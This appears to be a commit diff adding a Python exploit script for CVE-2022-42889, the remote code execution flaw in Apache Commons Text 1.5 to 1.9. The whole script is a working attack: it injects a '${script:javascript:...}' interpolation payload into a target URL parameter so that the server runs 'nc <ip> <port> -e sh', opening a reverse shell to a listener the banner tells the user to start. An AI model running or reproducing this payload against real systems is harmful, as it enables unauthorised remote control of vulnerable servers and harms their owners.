|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# coding=utf-8 |
| 3 | +# EXPLOIT AUTHOR |
| 4 | +# Vicky Aryan (@pwnb0y) |
| 5 | +# Apache Commons Text Vulnerability [CVE-2022-42889] |
| 6 | +# Affects Commons Text versions 1.5 through 1.9 |
| 7 | +# this exploit will work only if the target has netcat installed on their system. |
| 8 | + |
| 9 | +from termcolor import cprint |
| 10 | +import sys |
| 11 | +import argparse |
| 12 | +def banner(): |
| 13 | + import pyfiglet as pf |
| 14 | + figlet1=pf.figlet_format("T3XT4SH3LL") |
| 15 | + cprint(figlet1,'red') |
| 16 | + cprint(' developed by @pwnb0y','yellow') |
| 17 | + print('-'*50) |
| 18 | + cprint('[•] CVE-2022-42889 - Apache Commons Text RCE Exploit', "green") |
| 19 | + cprint("[•] Note: At first start a lister at your local machine to receive connection eg: nc -lvnp 4444",'blue') |
| 20 | +banner() |
| 21 | +if len(sys.argv) <= 1: |
| 22 | + print('\n%s -h for help.' % (sys.argv[0])) |
| 23 | + exit(0) |
| 24 | +parser=argparse.ArgumentParser(description="Apache Commons Text RCE Exploit") |
| 25 | +parser.add_argument('-u','--url',help="Enter URL with parameter like: https://example.com/page?param=",required=True) |
| 26 | +parser.add_argument('-i','--ip',help="Local IP address", required=True) |
| 27 | +parser.add_argument('-p','--port',help="Local Port default port is 4444",default=4444) |
| 28 | +parser.add_argument('-t','--type',help="Shell type default type is sh",default='sh') |
| 29 | +args=parser.parse_args() |
| 30 | +cmd=f'nc {args.ip} {args.port} -e {args.type}' |
| 31 | +payload="${script:javascript:java.lang.Runtime.getRuntime().exec("+cmd+")}" |
| 32 | +url=args.url+payload |
| 33 | +def exploit(): |
| 34 | + import urllib3 |
| 35 | + try: |
| 36 | + http = urllib3.PoolManager() |
| 37 | + http.request('GET',url) |
| 38 | + except TimeoutError as e: |
| 39 | + print(e) |
| 40 | +if __name__ == "__main__": |
| 41 | + try: |
| 42 | + exploit() |
| 43 | + except KeyboardInterrupt: |
| 44 | + print("\nKeyboardInterrupt Detected.") |
| 45 | + print("Exiting...") |
| 46 | + exit(0) |
| 47 | + |
0 commit comments